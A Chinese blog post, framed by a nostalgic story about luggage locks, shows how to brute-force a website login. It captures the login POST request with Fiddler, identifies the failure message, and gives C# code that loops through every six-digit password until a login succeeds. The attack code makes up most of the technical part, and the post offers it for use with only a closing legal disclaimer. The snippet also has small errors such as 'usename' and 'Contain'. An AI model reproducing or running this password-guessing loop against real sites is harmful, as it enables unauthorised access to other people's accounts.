目录
一、前言
刚刚睡觉的时候迷迷糊糊梦到了上大学的时候玩弄旅行箱密码的样子。刚上大学的时候学校给每个人发一个旅行箱,带学校Logo的那种,旅行箱稍显高档,带了三位数的密码还可以自己修改密码。都是刘姥姥进大观园,哪玩过这么高档的东西,刚上大学最乐此不疲的就是摆弄密码,最头疼的就是一不小心把密码忘记了,或者修改密码的时候一不小心拨错了。尤记得宿舍最壮观的时候好几个人同时坐到小板凳上从000开始试自己的密码直到咯嘣一声密码锁打开,那种最简单的幸福与开心历历在目,现在这个箱子还在家里珍藏着,只是随着年纪的增长,玩弄密码已经不能满足我们的追求,不能再让我们能够为之会心一笑。
今天我要讲的主题,也是刚刚迷迷糊糊在睡梦中想到的,同样跟密码有关系。虽然现在不玩弄旅行箱的密码了,但是应该有很多人有过自己网站或者支付宝等等密码忘记的情况,如果网站有忘记密码还好说,如果没有,那么我们也只能一个个去试,3位密码只需要1000次,如果你是6位密码一个个试还不累死,所以这时候我们的网络爬虫就派上用场了。
关于网络爬虫以及一些基本的概念在《网络爬虫之投票》这篇文章中已经有过介绍,有兴趣的可以移步,这里我们直接来说如何用网络爬虫的方式破解我们的密码。
二、密码破解
用到的技术也同样是网络抓包、DOM树分析、网络请求等。
- 网络抓包
- dom树分析
- 网络请求
- 循环破解
2.1 网络抓包
这里抓包很简单,首先打开fiddler软件,然后打开你要破解的网站,输入用户名和一个假的密码(如果你知道真的密码,就不需要破解了),点击登录,这时候就会从fiddler中查看到一条登录的请求,一般都是POST请求,可以很清楚的从请求内容中看到请求的URl、用户名、密码等,将该语句复制下来,准备下一步工作。
2.2 dom树分析
这里的DOM树分析,只需要分析刚刚那条登录请求的结果即可,一般都是提示你登录失败,但是有些返回的是整个html页面,有些是json语句等等,但是终归你会找到一个标识你登录失败的地方,将这个也记录下来,准备下一步工作。
2.3 网络请求
此次网络请求在上一篇文章中也有过介绍,在这里我再放出代码,但需要强调的是using (StreamReader sr = new StreamReader(instream, encoding))
中的encoding,如果你能看出返回网页的编码方式,这里就改成相应的编码,否则中午会出现乱码的情况,如果不知道,那么可以用GB2312等逐一测试,直到不出现乱码为止。
public string GetContent(string method, string url, string postData = "", CookieContainer cookie = null)
{
HttpWebResponse response = null;
HttpWebRequest request = null;
if (cookie == null)
cookie = new CookieContainer();
// 准备请求...
try
{
// 设置参数
request = WebRequest.Create(url) as HttpWebRequest;
request.CookieContainer = cookie;
request.AllowAutoRedirect = true;
request.Method = method.ToUpper();
request.ContentType = "application/x-www-form-urlencoded";
string userAgent = string.Format("Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.8670)");
request.UserAgent = userAgent;
request.ContentLength = postData.Length;
if (method.ToUpper() == "POST")
{
if (!string.IsNullOrEmpty(postData))
{
byte[] data = Encoding.Default.GetBytes(postData);
request.ContentLength = data.Length;
using (Stream outstream = request.GetRequestStream())
{
outstream.Write(data, 0, data.Length);
}
}
}
//发送请求并获取相应回应数据
response = request.GetResponse() as HttpWebResponse;
//直到request.GetResponse()程序才开始向目标网页发送Post请求
using (Stream instream = response.GetResponseStream())
{
using (StreamReader sr = new StreamReader(instream, encoding))
{
//返回结果网页(html)代码
string content = sr.ReadToEnd();
return content;
}
}
}
catch (Exception ex)
{
string err = ex.Message;
return err;
}
finally
{
if (response != null)
response.Close();
}
}
2.4 循环破解
这里是本文的核心,知道了登录的请求方式以及登录失败的提示,接下来就是通过像我们当年破解密码箱密码一样一个个去试,这里只不过用程序自动完成,首先写个循环从0循环到999999(假设6位数密码),然后拼接登录请求中的数据(包含用户名、密码),然后发送网络请求判断请求的结果,如果包含之前找到的失败标识,继续循环,如果不包含,恭喜你密码找到了。代码如下:
int start = 0;
int end = 999999;
for (int i = start; i <= end; i++)
{
var pass = i.ToString().PadLeft(6, '0');//不足6位,左边补0
var post = "usename=yourname" + "&password=" + pass;//拼接请求的数据
var res = GetContent("POST", loginurl, post);
if (!res.Contain("失败标识"))
{
MessageBox.Show("密码是:" + pass);
return;
}
}
其中i.ToString().PadLeft(6, '0')
的作用是不足6位补0,让密码满足6位。var post = "usename=yourname" + "&password=" + pass
的作用是拼接发送的数据。
三、总结
通过以上方式我们就能破解出来我们的密码,在这里强烈申明本文只讨论技术,各位也只用学习技术即可,不可拿来做违法的事情。另本文讲述的只是最简单的方式,随着网络技术的发展,现在也基本不能再进行破解了,如登录包含验证码或者有允许登录失败次数等等其他种种防暴力破解技术,碰到这种该技术则完全失效。再次申明本文只是介绍一种简单的网络爬虫技术,以及用来回味那段纯真无暇的少年时光。